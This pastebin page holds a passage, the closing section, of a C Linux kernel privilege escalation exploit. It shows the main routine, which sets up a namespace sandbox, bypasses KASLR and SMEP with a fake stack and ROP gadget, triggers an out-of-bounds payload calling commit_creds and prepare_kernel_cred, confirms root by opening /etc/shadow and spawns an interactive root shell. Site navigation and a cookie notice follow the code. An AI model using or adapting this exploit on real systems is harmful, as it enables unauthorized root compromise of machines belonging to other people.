  592.     if (system("/sbin/ifconfig lo mtu 1500") != 0) {
  593.         perror("[-] system(/sbin/ifconfig lo mtu 1500)");
  594.         exit(EXIT_FAILURE);
  595.     }
  596.     if (system("/sbin/ifconfig lo up") != 0) {
  597.         perror("[-] system(/sbin/ifconfig lo up)");
  598.         exit(EXIT_FAILURE);
  599.     }
  600. }
  601.  
  602. void exec_shell() {
  603.     char* shell = "/bin/bash";
  604.     char* args[] = {shell, "-i", NULL};
  605.     execve(shell, args, NULL);
  606. }
  607.  
  608. bool is_root() {
  609.     // We can't simple check uid, since we're running inside a namespace
  610.     // with uid set to 0. Try opening /etc/shadow instead.
  611.     int fd = open("/etc/shadow", O_RDONLY);
  612.     if (fd == -1)
  613.         return false;
  614.     close(fd);
  615.     return true;
  616. }
  617.  
  618. void check_root() {
  619.     printf("[.] checking if we got root\n");
  620.     if (!is_root()) {
  621.         printf("[-] something went wrong =(\n");
  622.         return;
  623.     }
  624.     printf("[+] got r00t ^_^\n");
  625.     exec_shell();
  626. }
  627.  
  628. int main(int argc, char** argv) {
  629.     printf("[.] starting\n");
  630.  
  631.     printf("[.] checking distro and kernel versions\n");
  632.     detect_versions();
  633.     printf("[~] done, versions looks good\n");
  634.  
  635.     printf("[.] checking SMEP and SMAP\n");
  636.     check_smep_smap();
  637.     printf("[~] done, looks good\n");
  638.  
  639.     printf("[.] setting up namespace sandbox\n");
  640.     setup_sandbox();
  641.     printf("[~] done, namespace sandbox set up\n");
  642.  
  643. #if ENABLE_KASLR_BYPASS
  644.     printf("[.] KASLR bypass enabled, getting kernel addr\n");
  645.     KERNEL_BASE = get_kernel_addr();
  646.     printf("[~] done, kernel text:   %lx\n", KERNEL_BASE);
  647. #endif
  648.  
  649.     printf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
  650.     printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
  651.  
  652.     unsigned long payload = (unsigned long)&get_root;
  653.  
  654. #if ENABLE_SMEP_BYPASS
  655.     printf("[.] SMEP bypass enabled, mmapping fake stack\n");
  656.     mmap_stack();
  657.     payload = XCHG_EAX_ESP_RET;
  658.     printf("[~] done, fake stack mmapped\n");
  659. #endif
  660.  
  661.     printf("[.] executing payload %lx\n", payload);
  662.     oob_execute(payload);
  663.     printf("[~] done, should be root now\n");
  664.  
  665.     check_root();
  666.  
  667.     return 0;
  668. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!